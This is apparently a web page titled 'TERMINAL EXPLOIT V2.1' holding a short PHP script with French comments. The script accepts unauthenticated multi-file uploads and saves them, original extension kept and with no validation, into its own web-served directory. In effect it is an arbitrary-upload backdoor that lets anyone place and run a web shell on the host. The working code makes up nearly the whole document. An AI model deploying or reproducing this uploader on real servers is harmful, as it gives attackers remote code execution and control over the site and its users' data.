TERMINAL EXPLOIT V2.1
<?php
// Définir le dossier d'upload comme étant le même répertoire que le script
$uploadDir = __DIR__ . '/'; // Le répertoire actuel où se trouve le script
// Vérifiez si un fichier a été envoyé
if ($_SERVER['REQUEST_METHOD'] === 'POST' && isset($_FILES['files'])) {
$response = ['files' => []];
foreach ($_FILES['files']['tmp_name'] as $key => $tmpName) {
// Récupération des informations du fichier
$originalName = $_FILES['files']['name'][$key];
$fileType = $_FILES['files']['type'][$key];
$fileError = $_FILES['files']['error'][$key];
$fileTmpName = $_FILES['files']['tmp_name'][$key];
// Vérifier qu'il n'y a pas eu d'erreur
if ($fileError === UPLOAD_ERR_OK) {
// Générer un nom unique pour le fichier
$fileExtension = pathinfo($originalName, PATHINFO_EXTENSION);
$uniqueName = uniqid() . '.' . $fileExtension;
// Déplacer le fichier vers le dossier de destination (même répertoire)
$destination = $uploadDir . $uniqueName;
if (move_uploaded_file($fileTmpName, $destination)) {
// Ajouter l'URL relative du fichier dans la réponse
$response['files'][] = [
'url' => $uniqueName // Nom du fichier dans le même dossier
];
} else {
$response['files'][] = ['error' => 'Failed to move uploaded file.'];
}
} else {
$response['files'][] = ['error' => 'Error during file upload.'];
}
}
// Retourner la réponse JSON
header('Content-Type: application/json');
echo json_encode($response);
exit;
} else {
// Retourner une erreur si aucune donnée n'est envoyée
http_response_code(400);
echo json_encode(['error' => 'No files uploaded.']);
exit;
}
?>
[ CLOSE ]